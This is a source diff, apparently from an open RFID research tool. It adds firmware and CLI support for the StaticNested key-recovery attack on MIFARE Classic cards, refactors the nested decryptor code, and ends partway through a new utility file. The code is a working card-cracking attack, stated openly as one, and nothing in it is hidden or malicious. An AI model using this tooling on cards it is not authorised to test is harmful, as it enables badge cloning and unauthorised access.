diff --git a/firmware/application/src/app_cmd.c b/firmware/application/src/app_cmd.c index e441a74..1fbd36f 100644 --- a/firmware/application/src/app_cmd.c +++ b/firmware/application/src/app_cmd.c @@ -309,25 +309,27 @@ static data_frame_tx_t *cmd_processor_mf1_detect_nt_dist(uint16_t cmd, uint16_t return data_frame_make(cmd, HF_TAG_OK, sizeof(payload_resp), (uint8_t *)&payload_resp); } +// We have a reusable payload structure. +typedef struct { + uint8_t type_known; + uint8_t block_known; + uint8_t key_known[6]; + uint8_t type_target; + uint8_t block_target; +} PACKED nested_common_payload_t; + static data_frame_tx_t *cmd_processor_mf1_nested_acquire(uint16_t cmd, uint16_t status, uint16_t length, uint8_t *data) { - NestedCore_t ncs[SETS_NR]; - typedef struct { - uint8_t type_known; - uint8_t block_known; - uint8_t key_known[6]; - uint8_t type_target; - uint8_t block_target; - } PACKED payload_t; - if (length != sizeof(payload_t)) { + mf1_nested_core_t ncs[SETS_NR]; + if (length != sizeof(nested_common_payload_t)) { return data_frame_make(cmd, STATUS_PAR_ERR, 0, NULL); } - payload_t *payload = (payload_t *)data; + nested_common_payload_t *payload = (nested_common_payload_t *)data; status = nested_recover_key(bytes_to_num(payload->key_known, 6), payload->block_known, payload->type_known, payload->block_target, payload->type_target, ncs); if (status != HF_TAG_OK) { return data_frame_make(cmd, status, 0, NULL); } - // NestedCore_t is PACKED and comprises only bytes so we can use it directly + // mf1_nested_core_t is PACKED and comprises only bytes so we can use it directly return data_frame_make(cmd, HF_TAG_OK, sizeof(ncs), (uint8_t *)(&ncs)); } @@ -390,6 +392,21 @@ static data_frame_tx_t *cmd_processor_mf1_write_one_block(uint16_t cmd, uint16_t return data_frame_make(cmd, status, 0, NULL); } +static data_frame_tx_t *cmd_processor_mf1_static_nested_acquire(uint16_t cmd, uint16_t status, uint16_t length, uint8_t *data) { + mf1_static_nested_core_t sncs; + if (length != sizeof(nested_common_payload_t)) { + return data_frame_make(cmd, STATUS_PAR_ERR, 0, NULL); + } + + nested_common_payload_t *payload = (nested_common_payload_t *)data; + status = static_nested_recover_key(bytes_to_num(payload->key_known, 6), payload->block_known, payload->type_known, payload->block_target, payload->type_target, &sncs); + if (status != HF_TAG_OK) { + return data_frame_make(cmd, status, 0, NULL); + } + // mf1_static_nested_core_t is PACKED and comprises only bytes so we can use it directly + return data_frame_make(cmd, HF_TAG_OK, sizeof(sncs), (uint8_t *)(&sncs)); +} + static data_frame_tx_t *cmd_processor_em410x_scan(uint16_t cmd, uint16_t status, uint16_t length, uint8_t *data) { uint8_t id_buffer[5] = { 0x00 }; status = PcdScanEM410X(id_buffer); @@ -930,6 +947,7 @@ static cmd_data_map_t m_data_cmd_map[] = { { DATA_CMD_MF1_AUTH_ONE_KEY_BLOCK, before_hf_reader_run, cmd_processor_mf1_auth_one_key_block, after_hf_reader_run }, { DATA_CMD_MF1_READ_ONE_BLOCK, before_hf_reader_run, cmd_processor_mf1_read_one_block, after_hf_reader_run }, { DATA_CMD_MF1_WRITE_ONE_BLOCK, before_hf_reader_run, cmd_processor_mf1_write_one_block, after_hf_reader_run }, + { DATA_CMD_MF1_STATIC_NESTED_ACQUIRE, before_hf_reader_run, cmd_processor_mf1_static_nested_acquire, after_hf_reader_run }, { DATA_CMD_EM410X_SCAN, before_reader_run, cmd_processor_em410x_scan, NULL }, { DATA_CMD_EM410X_WRITE_TO_T55XX, before_reader_run, cmd_processor_em410x_write_to_t55XX, NULL }, diff --git a/firmware/application/src/data_cmd.h b/firmware/application/src/data_cmd.h index 2bdd087..e04e93c 100644 --- a/firmware/application/src/data_cmd.h +++ b/firmware/application/src/data_cmd.h @@ -64,6 +64,7 @@ #define DATA_CMD_MF1_AUTH_ONE_KEY_BLOCK (2007) #define DATA_CMD_MF1_READ_ONE_BLOCK (2008) #define DATA_CMD_MF1_WRITE_ONE_BLOCK (2009) +#define DATA_CMD_MF1_STATIC_NESTED_ACQUIRE (2010) // // ****************************************************************** diff --git a/firmware/application/src/rfid/reader/hf/mf1_toolbox.c b/firmware/application/src/rfid/reader/hf/mf1_toolbox.c index 0bec431..61f1a61 100644 --- a/firmware/application/src/rfid/reader/hf/mf1_toolbox.c +++ b/firmware/application/src/rfid/reader/hf/mf1_toolbox.c @@ -608,7 +608,7 @@ uint8_t check_tag_response_nt(picc_14a_tag_t *tag, uint32_t *nt) { // Send instructions and get NT return *nt = send_cmd(pcs, AUTH_FIRST, PICC_AUTHENT1A, 0x03, &status, dat_recv, par_recv, U8ARR_BIT_LEN(dat_recv)); if (*nt != 32) { - // dbg_block_printf("No 32 data recv on send_cmd: %d\n", *nt); + // NRF_LOG_INFO("No 32 data recv on send_cmd: %d\n", *nt); return HF_ERR_STAT; } *nt = bytes_to_num(dat_recv, 4); @@ -827,7 +827,7 @@ static uint8_t measure_distance(uint64_t u64Key, uint8_t block, uint8_t type, ui } // After the measurement is completed, store in the buffer distances[index++] = measure_nonces(nt1, nt2); - // dbg_block_printf("dist = %"PRIu32"\n\n", distances[index - 1]); + // NRF_LOG_INFO("dist = %"PRIu32"\n\n", distances[index - 1]); } while (index < DIST_NR); //The final calculation of the distance between the two NTs and spread it directly @@ -847,7 +847,7 @@ static uint8_t measure_distance(uint64_t u64Key, uint8_t block, uint8_t type, ui * @retval : Successfully return hf_tag_ok, verify the unsuccessful return of the non -hf_tag_ok value * */ -static uint8_t nested_recover_core(NestedCore_t *pnc, uint64_t keyKnown, uint8_t blkKnown, uint8_t typKnown, uint8_t targetBlock, uint8_t targetType) { +static uint8_t nested_recover_core(mf1_nested_core_t *pnc, uint64_t keyKnown, uint8_t blkKnown, uint8_t typKnown, uint8_t targetBlock, uint8_t targetType) { struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs = &mpcs; uint8_t status; @@ -884,16 +884,16 @@ static uint8_t nested_recover_core(NestedCore_t *pnc, uint64_t keyKnown, uint8_t /** * @brief :NESTED is implemented by default to collect random numbers of the sets_nr group. This function is only responsible for collecting, not responsible for conversion and analysis as KS -* @param :ncs : Nested core structure array, save related communication data * @param :keyKnown : The U64 value of the known secret key of the card * @param :blkKnown :The owner of the known secret key of the card * @param :typKnown : Types of the known secret key of the card, 0x60 (A secret) or 0x61 (B secret) * @param :targetBlock : The target sector that requires a Nested attack * @param :targetType : The target key type requires the Nested attack -* @retval :The attack returns hf_tag_ok, the attack is unsuccessful to return the non -hf_tag_ok value +* @param :ncs : Nested core structure array, save related communication data +* @retval :The attack success return HF_TAG_OK, else return the error code * */ -uint8_t nested_recover_key(uint64_t keyKnown, uint8_t blkKnown, uint8_t typKnown, uint8_t targetBlock, uint8_t targetType, NestedCore_t ncs[SETS_NR]) { +uint8_t nested_recover_key(uint64_t keyKnown, uint8_t blkKnown, uint8_t typKnown, uint8_t targetBlock, uint8_t targetType, mf1_nested_core_t ncs[SETS_NR]) { uint8_t m, res; // all operations must be based on the card res = pcd_14a_reader_scan_auto(p_tag_info); @@ -941,6 +941,83 @@ uint8_t nested_distance_detect(uint8_t block, uint8_t type, uint8_t *key, uint8_ return measure_distance(bytes_to_num(key, 6), block, type, distance); } +/** +* @brief : StaticNested core, used to collect NT. +* This function is only responsible for collection and is not responsible for converting and parsing to KS. +* @param :p_nt1 : NT1, non encrypted. +* @param :p_nt2 : NT2, encrypted. +* @param :keyKnown : U64 value of the known key of the card +* @param :blkKnown : The sector to which the card's known secret key belongs +* @param :typKnown : The known key type of the card, 0x60 (A key) or 0x61 (B key) +* @param :targetBlock : Target sectors that require nested attacks +* @param :targetType : Target key types that require nested attacks +* @param :nestedAgain : StaticNested enhanced vulnerability, which can obtain two sets of encrypted random numbers based on nested verification of known keys +* @retval : Successfully collected and returned to HF_TAG_OK, otherwise an error code will be returned. +* +*/ +uint8_t static_nested_recover_core(uint8_t *p_nt1, uint8_t *p_nt2, uint64_t keyKnown, uint8_t blkKnown, uint8_t typKnown, uint8_t targetBlock, uint8_t targetType, uint8_t nestedAgain) { + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs = &mpcs; + uint8_t status, len; + uint8_t parity[4] = {0x00}; + uint8_t answer[4] = {0x00}; + uint32_t uid, nt1, nt2; + uid = get_u32_tag_uid(p_tag_info); + pcd_14a_reader_halt_tag(); + if (pcd_14a_reader_scan_auto(p_tag_info) != HF_TAG_OK) { + return HF_TAG_NO; + } + status = authex(pcs, uid, blkKnown, typKnown, keyKnown, AUTH_FIRST, &nt1); + if (status != HF_TAG_OK) { + return MF_ERR_AUTH; + } + if (nestedAgain) { + status = authex(pcs, uid, blkKnown, typKnown, keyKnown, AUTH_NESTED, NULL); + if (status != HF_TAG_OK) { + return MF_ERR_AUTH; + } + } + len = send_cmd(pcs, AUTH_NESTED, targetType, targetBlock, &status, answer, parity, U8ARR_BIT_LEN(answer)); + if (len != 32) { + NRF_LOG_INFO("No 32 data recv on sendcmd: %d\r\n", len); + return HF_ERR_STAT; + } + nt2 = bytes_to_num(answer, 4); + num_to_bytes(nt1, 4, p_nt1); + num_to_bytes(nt2, 4, p_nt2); + return HF_TAG_OK; +} + +/** +* @brief : StaticNested encapsulates and calls the functions implemented by the core to collect 2 sets of random numbers. +* This function is only responsible for collection and is not responsible for converting and parsing to KS. +* @param :keyKnown : U64 value of the known key of the card +* @param :blkKnown : The sector to which the card's known secret key belongs +* @param :typKnown : The known key type of the card, 0x60 (A key) or 0x61 (B key) +* @param :targetBlock : Target sectors that require nested attacks +* @param :targetType : Target key type that require nested attacks +* @param :sncs : StaticNested Decrypting Core Structure Array +* @retval : Successfully collected and returned to HF_TAG_OK, otherwise an error code will be returned. +* +*/ +uint8_t static_nested_recover_key(uint64_t keyKnown, uint8_t blkKnown, uint8_t typKnown, uint8_t targetBlock, uint8_t targetType, mf1_static_nested_core_t* sncs) { + uint8_t res; + res = pcd_14a_reader_scan_auto(p_tag_info); + if (res!= HF_TAG_OK) { + return res; + } + get_4byte_tag_uid(p_tag_info, sncs->uid); + res = static_nested_recover_core(sncs->core[0].nt1, sncs->core[0].nt2, keyKnown, blkKnown, typKnown, targetBlock, targetType, false); + if (res != HF_TAG_OK) { + return res; + } + res = static_nested_recover_core(sncs->core[1].nt1, sncs->core[1].nt2, keyKnown, blkKnown, typKnown, targetBlock, targetType, true); + if (res != HF_TAG_OK) { + return res; + } + return HF_TAG_OK; +} + /** * @brief : Use the RC522 M1 algorithm module to verify the key * @retval : validationResults diff --git a/firmware/application/src/rfid/reader/hf/mf1_toolbox.h b/firmware/application/src/rfid/reader/hf/mf1_toolbox.h index fe4c0ee..40b35ac 100644 --- a/firmware/application/src/rfid/reader/hf/mf1_toolbox.h +++ b/firmware/application/src/rfid/reader/hf/mf1_toolbox.h @@ -29,14 +29,22 @@ typedef struct { //Answer the random number parameters required for N uint8_t nt1[4]; //Unblocked explicitly random number uint8_t nt2[4]; //Random number of nested verification encryption uint8_t par; //The puppet test of the communication process of nested verification encryption, only the "low 3 digits', that is, the right 3 -} NestedCore_t; +} mf1_nested_core_t; + +typedef struct { + uint8_t uid[4]; + struct { + uint8_t nt1[4]; + uint8_t nt2[4]; + } core[2]; +} mf1_static_nested_core_t; typedef enum { DARKSIDE_OK = 0u, // normal process DARKSIDE_CANT_FIX_NT = 1u, // the random number cannot be fixed, this situation may appear on some UID card DARKSIDE_LUCKY_AUTH_OK = 2u, // the direct authentification is successful, maybe the key is just the default one DARKSIDE_NO_NAK_SENT = 3u, // the card does not respond to NACK, it may be a card that fixes Nack logic vulnerabilities - DARKSIDE_TAG_CHANGED = 4u, // card swap while running DARKSIDE + DARKSIDE_TAG_CHANGED = 4u, // card change while running DARKSIDE } mf1_darkside_status_t; // this struct is also used in the fw/cli protocol, therefore PACKED @@ -63,6 +71,7 @@ uint8_t darkside_recover_key( DarksideCore_t *dc, mf1_darkside_status_t *darkside_status ); + uint8_t nested_distance_detect( uint8_t block, uint8_t type, @@ -70,14 +79,17 @@ uint8_t nested_distance_detect( uint8_t *uid, uint32_t *distance ); -uint8_t nested_recover_key( - uint64_t keyKnown, - uint8_t blkKnown, - uint8_t typKnown, - uint8_t targetBlock, - uint8_t targetType, - NestedCore_t ncs[SETS_NR] -); + +#define NESTED_CORE_PARAM_DEF \ + uint64_t keyKnown, \ + uint8_t blkKnown, \ + uint8_t typKnown, \ + uint8_t targetBlock, \ + uint8_t targetType \ + +uint8_t nested_recover_key(NESTED_CORE_PARAM_DEF, mf1_nested_core_t ncs[SETS_NR]); +uint8_t static_nested_recover_key(NESTED_CORE_PARAM_DEF, mf1_static_nested_core_t* sncs); + uint8_t check_darkside_support(mf1_darkside_status_t *darkside_status); uint8_t check_prng_type(mf1_prng_type_t *type); uint8_t check_std_mifare_nt_support(bool *support); diff --git a/software/script/chameleon_cli_unit.py b/software/script/chameleon_cli_unit.py index b76453a..ea592e7 100644 --- a/software/script/chameleon_cli_unit.py +++ b/software/script/chameleon_cli_unit.py @@ -8,6 +8,7 @@ import timeit import sys import time import serial.tools.list_ports +import threading from platform import uname import chameleon_com @@ -82,9 +83,17 @@ class BaseCLIUnit: def sub_process(cmd, cwd=os.path.abspath("bin/")): class ShadowProcess: def __init__(self): + self.output = "" self.time_start = timeit.default_timer() self._process = subprocess.Popen(cmd, cwd=cwd, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) + threading.Thread(target=self.thread_read_output).start() + + def thread_read_output(self): + while self._process.poll() is None: + data = self._process.stdout.read(1024) + if len(data) > 0: + self.output += data.decode(encoding="utf-8") def get_time_distance(self, ms=True): if ms: @@ -101,15 +110,8 @@ class BaseCLIUnit: return True return False - def get_output_sync(self, encoding='utf-8'): - buffer = bytearray() - while True: - data = self._process.stdout.read(1024) - if len(data) > 0: - buffer.extend(data) - else: - break - return buffer.decode(encoding) + def get_output_sync(self): + return self.output def get_ret_code(self): return self._process.poll() @@ -380,6 +382,14 @@ class HFMFNested(ReaderRequiredUnit): help="The type of the target block to recover") # hf mf nested -o --block-known 0 --type-known A --key FFFFFFFFFFFF --block-target 4 --type-target A return parser + + def from_nt_level_code_to_str(self, nt_level): + if nt_level == 0: + return 'StaticNested' + if nt_level == 1: + return 'Nested' + if nt_level == 2: + return 'HardNested' def recover_a_key(self, block_known, type_known, key_known, block_target, type_target) -> str or None: """ @@ -391,17 +401,35 @@ class HFMFNested(ReaderRequiredUnit): :param type_target: :return: """ + # check nt level, we can run static or nested auto... + nt_level = self.cmd.mf1_detect_prng() + print(f" - NT vulnerable: {CY}{ self.from_nt_level_code_to_str(nt_level) }{C0}") + if nt_level == 2: + print(" [!] HardNested has not been implemented yet.") + return None + # acquire - dist_obj = self.cmd.mf1_detect_nt_dist(block_known, type_known, key_known) - nt_obj = self.cmd.mf1_nested_acquire(block_known, type_known, key_known, block_target, type_target) - # create cmd - cmd_param = f"{dist_obj['uid']} {dist_obj['dist']}" - for nt_item in nt_obj: - cmd_param += f" {nt_item['nt']} {nt_item['nt_enc']} {nt_item['par']}" - if sys.platform == "win32": - cmd_recover = f"nested.exe {cmd_param}" + if nt_level == 0: # It's a staticnested tag? + nt_uid_obj = self.cmd.mf1_static_nested_acquire(block_known, type_known, key_known, block_target, type_target) + cmd_param = f"{nt_uid_obj['uid']} {str(type_target)}" + for nt_item in nt_uid_obj['nts']: + cmd_param += f" {nt_item['nt']} {nt_item['nt_enc']}" + decryptor_name = "staticnested" else: - cmd_recover = f"./nested {cmd_param}" + dist_obj = self.cmd.mf1_detect_nt_dist(block_known, type_known, key_known) + nt_obj = self.cmd.mf1_nested_acquire(block_known, type_known, key_known, block_target, type_target) + # create cmd + cmd_param = f"{dist_obj['uid']} {dist_obj['dist']}" + for nt_item in nt_obj: + cmd_param += f" {nt_item['nt']} {nt_item['nt_enc']} {nt_item['par']}" + decryptor_name = "nested" + + # Cross-platform compatibility + if sys.platform == "win32": + cmd_recover = f"{decryptor_name}.exe {cmd_param}" + else: + cmd_recover = f"./{decryptor_name} {cmd_param}" + print(f" Executing {cmd_recover}") # start a decrypt process process = self.sub_process(cmd_recover) @@ -489,6 +517,10 @@ class HFMFDarkside(ReaderRequiredUnit): print(f"Darkside error: {chameleon_cmd.MifareClassicDarksideStatus(darkside_resp[0])}") break darkside_obj = darkside_resp[1] + + if darkside_obj['par'] != 0: # NXP tag workaround. + self.darkside_list.clear() + self.darkside_list.append(darkside_obj) recover_params = f"{darkside_obj['uid']}" for darkside_item in self.darkside_list: diff --git a/software/script/chameleon_cmd.py b/software/script/chameleon_cmd.py index b378352..2f8ef12 100644 --- a/software/script/chameleon_cmd.py +++ b/software/script/chameleon_cmd.py @@ -69,6 +69,7 @@ DATA_CMD_MF1_NESTED_ACQUIRE = 2006 DATA_CMD_MF1_AUTH_ONE_KEY_BLOCK = 2007 DATA_CMD_MF1_READ_ONE_BLOCK = 2008 DATA_CMD_MF1_WRITE_ONE_BLOCK = 2009 +DATA_CMD_MF1_STATIC_NESTED_ACQUIRE = 2010 DATA_CMD_EM410X_SCAN = 3000 DATA_CMD_EM410X_WRITE_TO_T55XX = 3001 @@ -445,7 +446,7 @@ class ChameleonCMD: @expect_response(chameleon_status.Device.HF_TAG_OK) def mf1_detect_support(self): """ - Detect whether it is mifare classic label + Detect whether it is mifare classic tag :return: """ resp = self.device.send_cmd_sync(DATA_CMD_MF1_DETECT_SUPPORT) @@ -501,6 +502,7 @@ class ChameleonCMD: for nt, nt_enc, par in struct.iter_unpack('!IIB', resp.data)] return resp + @expect_response(chameleon_status.Device.HF_TAG_OK) def mf1_darkside_acquire(self, block_target, type_target, first_recover: int or bool, sync_max): """ @@ -561,6 +563,26 @@ class ChameleonCMD: resp = self.device.send_cmd_sync(DATA_CMD_MF1_WRITE_ONE_BLOCK, data) resp.data = resp.status == chameleon_status.Device.HF_TAG_OK return resp + + @expect_response(chameleon_status.Device.HF_TAG_OK) + def mf1_static_nested_acquire(self, block_known, type_known, key_known, block_target, type_target): + """ + Collect the key NT parameters needed for StaticNested decryption + :return: + """ + data = struct.pack('!BB6sBB', type_known, block_known, key_known, type_target, block_target) + resp = self.device.send_cmd_sync(DATA_CMD_MF1_STATIC_NESTED_ACQUIRE, data) + if resp.status == chameleon_status.Device.HF_TAG_OK: + resp.data = { + 'uid': struct.unpack('!I', resp.data[0:4])[0], + 'nts': [ + { + 'nt': nt, + 'nt_enc': nt_enc + } for nt, nt_enc in struct.iter_unpack('!II', resp.data[4:]) + ] + } + return resp @expect_response(chameleon_status.Device.LF_TAG_OK) def em410x_scan(self): diff --git a/software/src/CMakeLists.txt b/software/src/CMakeLists.txt index 5444f76..7c4d066 100644 --- a/software/src/CMakeLists.txt +++ b/software/src/CMakeLists.txt @@ -6,10 +6,12 @@ set(EXECUTABLE_OUTPUT_PATH ${CMAKE_CURRENT_SOURCE_DIR}/../bin) set(SRC_DIR ./) set(COMMON_FILES + ${SRC_DIR}/common.c ${SRC_DIR}/crapto1.c ${SRC_DIR}/crypto1.c ${SRC_DIR}/bucketsort.c ${SRC_DIR}/mfkey.c + ${SRC_DIR}/nested_util.c ${SRC_DIR}/parity.c) include_directories( @@ -19,6 +21,7 @@ include_directories( # tools add_executable(nested ${COMMON_FILES} nested.c) +add_executable(staticnested ${COMMON_FILES} staticnested.c) add_executable(darkside ${COMMON_FILES} darkside.c) add_executable(mfkey32 ${COMMON_FILES} mfkey32.c) add_executable(mfkey32v2 ${COMMON_FILES} mfkey32v2.c) diff --git a/software/src/common.c b/software/src/common.c new file mode 100644 index 0000000..e405d1c --- /dev/null +++ b/software/src/common.c @@ -0,0 +1,20 @@ +#include + + +uint64_t atoui(const char* str) { + + uint64_t result = 0; + for (int i = 0; str[i] != '\0'; ++i) { + if (str[i] >= '0' && str[i] <= '9') { + result = result * 10 + str[i] - '0'; + } + } + return result; +} + +void num_to_bytes(uint64_t n, uint32_t len, uint8_t* dest) { + while (len--) { + dest[len] = (uint8_t)n; + n >>= 8; + } +} diff --git a/software/src/common.h b/software/src/common.h new file mode 100644 index 0000000..278df6a --- /dev/null +++ b/software/src/common.h @@ -0,0 +1,7 @@ +#ifndef NESTED_H__ +#define NESTED_H__ + +uint64_t atoui(const char* str); +void num_to_bytes(uint64_t n, uint32_t len, uint8_t* dest); + +#endif \ No newline at end of file diff --git a/software/src/darkside.c b/software/src/darkside.c index 99105b4..5bc72b9 100644 --- a/software/src/darkside.c +++ b/software/src/darkside.c @@ -7,6 +7,7 @@ #include "parity.h" #include "crapto1.h" #include "mfkey.h" +#include "common.h" typedef struct { uint32_t nt; @@ -17,25 +18,6 @@ typedef struct { uint64_t ks_list; } DarksideParam; -// Convert string to U32 type -uint64_t atoui(const char *str) { - - uint64_t result = 0; - for (int i = 0; str[i] != '\0'; ++i) { - if (str[i] >= '0' && str[i] <= '9') { - result = result * 10 + str[i] - '0'; - } - } - return result; -} - -void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest) { - while (len--) { - dest[len] = (uint8_t)n; - n >>= 8; - } -} - int main(int argc, char *argv[]) { if (((argc - 2) % 5) != 0) { diff --git a/software/src/nested.c b/software/src/nested.c index 2e8be0a..33b5b2a 100644 --- a/software/src/nested.c +++ b/software/src/nested.c @@ -1,214 +1,9 @@ #include #include #include -#include #include -#include -#include "crapto1.h" -#include "parity.h" -#if WIN32 -#include "windows.h" -#else -#include "unistd.h" -#endif - - -#define MEM_CHUNK 10000 -#define TRY_KEYS 50 - - -typedef struct { - uint64_t key; - int count; -} countKeys; - -typedef struct { - uint32_t ntp; - uint32_t ks1; -} NtpKs1; - -typedef struct { - NtpKs1 *pNK; - uint32_t authuid; - - uint64_t *keys; - uint32_t keyCount; - - uint32_t startPos; - uint32_t endPos; -} RecPar; - - -int compar_int(const void *a, const void *b) { - return (*(uint64_t *)b - * (uint64_t *)a); -} - -// Compare countKeys structure -int compar_special_int(const void *a, const void *b) { - return (((countKeys *)b)->count - ((countKeys *)a)->count); -} - -// keys qsort and unique. -countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size) { - unsigned int i, j = 0; - int count = 0; - countKeys *our_counts; - - qsort(possibleKeys, size, sizeof(uint64_t), compar_int); - - our_counts = calloc(size, sizeof(countKeys)); - if (our_counts == NULL) { - printf("Memory allocation error for our_counts"); - exit(EXIT_FAILURE); - } - - for (i = 0; i < size; i++) { - if (possibleKeys[i + 1] == possibleKeys[i]) { - count++; - } else { - our_counts[j].key = possibleKeys[i]; - our_counts[j].count = count; - j++; - count = 0; - } - } - qsort(our_counts, j, sizeof(countKeys), compar_special_int); - return (our_counts); -} - -uint32_t atoui(const char *str) { - - uint32_t result = 0; - for (int i = 0; str[i] != '\0'; ++i) { - if (str[i] >= '0' && str[i] <= '9') { - result = result * 10 + str[i] - '0'; - } - } - return result; -} - -// nested decrypt -static void nested_revover(RecPar *rp) { - struct Crypto1State *revstate, * revstate_start = NULL; - uint64_t lfsr = 0; - uint32_t i, kcount = 0; - - rp->keyCount = 0; - rp->keys = NULL; - - for (i = rp->startPos; i < rp->endPos; i++) { - uint32_t nt_probe = rp->pNK[i].ntp; - uint32_t ks1 = rp->pNK[i].ks1; - // And finally recover the first 32 bits of the key - revstate = lfsr_recovery32(ks1, nt_probe ^ rp->authuid); - if (revstate_start == NULL) { - revstate_start = revstate; - } - while ((revstate->odd != 0x0) || (revstate->even != 0x0)) { - lfsr_rollback_word(revstate, nt_probe ^ rp->authuid, 0); - crypto1_get_lfsr(revstate, &lfsr); - // Allocate a new space for keys - if (((kcount % MEM_CHUNK) == 0) || (kcount >= rp->keyCount)) { - rp->keyCount += MEM_CHUNK; - // printf("New chunk by %d, sizeof %lu\n", kcount, key_count * sizeof(uint64_t)); - void *tmp = realloc(rp->keys, rp->keyCount * sizeof(uint64_t)); - if (tmp == NULL) { - printf("Memory allocation error for pk->possibleKeys"); - // exit(EXIT_FAILURE); - rp->keyCount = 0; - return; - } - rp->keys = (uint64_t *)tmp; - } - rp->keys[kcount] = lfsr; - kcount++; - revstate++; - } - free(revstate_start); - revstate_start = NULL; - } - // Truncate - if (kcount != 0) { - rp->keyCount = --kcount; - void *tmp = (uint64_t *)realloc(rp->keys, rp->keyCount * sizeof(uint64_t)); - if (tmp == NULL) { - printf("Memory allocation error for pk->possibleKeys"); - // exit(EXIT_FAILURE); - rp->keyCount = 0; - return; - } - rp->keys = tmp; - return; - } - rp->keyCount = 0; - return; -} - -uint64_t *nested(NtpKs1 *pNK, uint32_t sizePNK, uint32_t authuid, uint32_t *keyCount) { - *keyCount = 0; - uint32_t i; - - RecPar *pRPs = malloc(sizeof(RecPar)); - if (pRPs == NULL) { - return NULL; - } - - pRPs->pNK = pNK; - pRPs->authuid = authuid; - pRPs->startPos = 0; - pRPs->endPos = sizePNK; - - // start recover - nested_revover(pRPs); - *keyCount = pRPs->keyCount; - - uint64_t *keys = NULL; - if (*keyCount != 0) { - keys = malloc(*keyCount * sizeof(uint64_t)); - if (keys != NULL) { - memcpy(keys, pRPs->keys, pRPs->keyCount * sizeof(uint64_t)); - free(pRPs->keys); - } - } - free(pRPs); - - countKeys *ck = uniqsort(keys, *keyCount); - free(keys); - keys = (uint64_t *)NULL; - *keyCount = 0; - - if (ck != NULL) { - for (i = 0; i < TRY_KEYS; i++) { - // We don't known this key, try to break it - // This key can be found here two or more times - if (ck[i].count > 0) { - *keyCount += 1; - void *tmp = realloc(keys, sizeof(uint64_t) * (*keyCount)); - if (tmp != NULL) { - keys = tmp; - keys[*keyCount - 1] = ck[i].key; - } else { - printf("Cannot allocate memory for keys on merge."); - free(keys); - break; - } - } - } - } else { - printf("Cannot allocate memory for ck on uniqsort."); - } - return keys; -} - -// Return 1 if the nonce is invalid else return 0 -static uint8_t valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity) { - return ( - (oddparity8((Nt >> 24) & 0xFF) == ((parity[0]) ^ oddparity8((NtEnc >> 24) & 0xFF) ^ BIT(Ks1, 16))) && \ - (oddparity8((Nt >> 16) & 0xFF) == ((parity[1]) ^ oddparity8((NtEnc >> 16) & 0xFF) ^ BIT(Ks1, 8))) && \ - (oddparity8((Nt >> 8) & 0xFF) == ((parity[2]) ^ oddparity8((NtEnc >> 8) & 0xFF) ^ BIT(Ks1, 0))) - ) ? 1 : 0; -} +#include "nested_util.h" int main(int argc, char *const argv[]) { NtpKs1 *pNK = NULL; diff --git a/software/src/nested_util.c b/software/src/nested_util.c new file mode 100644 index 0000000..7d21423 --- /dev/null +++ b/software/src/nested_util.c @@ -0,0 +1,199 @@ +#include +#include +#include +#include +#include +#include +#include "parity.h" + +#if WIN32 +#include "windows.h" +#else +#include "unistd.h" +#endif + +#include "nested_util.h" + + +#define MEM_CHUNK 10000 +#define TRY_KEYS 50 + + +typedef struct { + uint64_t key; + int count; +} countKeys; + +typedef struct { + NtpKs1* pNK; + uint32_t authuid; + + uint64_t* keys; + uint32_t keyCount; + + uint32_t startPos; + uint32_t endPos; +} RecPar; + + +int compar_int(const void* a, const void* b) { + return (*(uint64_t*)b - *(uint64_t*)a); +} + +// Compare countKeys structure +int compar_special_int(const void* a, const void* b) { + return (((countKeys*)b)->count - ((countKeys*)a)->count); +} + +// keys qsort and unique. +countKeys* uniqsort(uint64_t* possibleKeys, uint32_t size) { + unsigned int i, j = 0; + int count = 0; + countKeys* our_counts; + + qsort(possibleKeys, size, sizeof(uint64_t), compar_int); + + our_counts = calloc(size, sizeof(countKeys)); + if (our_counts == NULL) { + printf("Memory allocation error for our_counts"); + exit(EXIT_FAILURE); + } + + for (i = 0; i < size; i++) { + if (possibleKeys[i + 1] == possibleKeys[i]) { + count++; + } + else { + our_counts[j].key = possibleKeys[i]; + our_counts[j].count = count; + j++; + count = 0; + } + } + qsort(our_counts, j, sizeof(countKeys), compar_special_int); + return (our_counts); +} + +// nested decrypt +static void nested_revover(RecPar* rp) { + struct Crypto1State* revstate, * revstate_start = NULL; + uint64_t lfsr = 0; + uint32_t i, kcount = 0; + + rp->keyCount = 0; + rp->keys = NULL; + + for (i = rp->startPos; i < rp->endPos; i++) { + uint32_t nt_probe = rp->pNK[i].ntp; + uint32_t ks1 = rp->pNK[i].ks1; + // And finally recover the first 32 bits of the key + revstate = lfsr_recovery32(ks1, nt_probe ^ rp->authuid); + if (revstate_start == NULL) { + revstate_start = revstate; + } + while ((revstate->odd != 0x0) || (revstate->even != 0x0)) { + lfsr_rollback_word(revstate, nt_probe ^ rp->authuid, 0); + crypto1_get_lfsr(revstate, &lfsr); + // Allocate a new space for keys + if (((kcount % MEM_CHUNK) == 0) || (kcount >= rp->keyCount)) { + rp->keyCount += MEM_CHUNK; + // printf("New chunk by %d, sizeof %lu\n", kcount, key_count * sizeof(uint64_t)); + void* tmp = realloc(rp->keys, rp->keyCount * sizeof(uint64_t)); + if (tmp == NULL) { + printf("Memory allocation error for pk->possibleKeys"); + // exit(EXIT_FAILURE); + rp->keyCount = 0; + return; + } + rp->keys = (uint64_t*)tmp; + } + rp->keys[kcount] = lfsr; + kcount++; + revstate++; + } + free(revstate_start); + revstate_start = NULL; + } + // Truncate + if (kcount != 0) { + rp->keyCount = --kcount; + void* tmp = (uint64_t*)realloc(rp->keys, rp->keyCount * sizeof(uint64_t)); + if (tmp == NULL) { + printf("Memory allocation error for pk->possibleKeys"); + // exit(EXIT_FAILURE); + rp->keyCount = 0; + return; + } + rp->keys = tmp; + return; + } + rp->keyCount = 0; + return; +} + +uint64_t* nested(NtpKs1* pNK, uint32_t sizePNK, uint32_t authuid, uint32_t* keyCount) { + *keyCount = 0; + uint32_t i; + + RecPar* pRPs = malloc(sizeof(RecPar)); + if (pRPs == NULL) { + return NULL; + } + + pRPs->pNK = pNK; + pRPs->authuid = authuid; + pRPs->startPos = 0; + pRPs->endPos = sizePNK; + + // start recover + nested_revover(pRPs); + *keyCount = pRPs->keyCount; + + uint64_t* 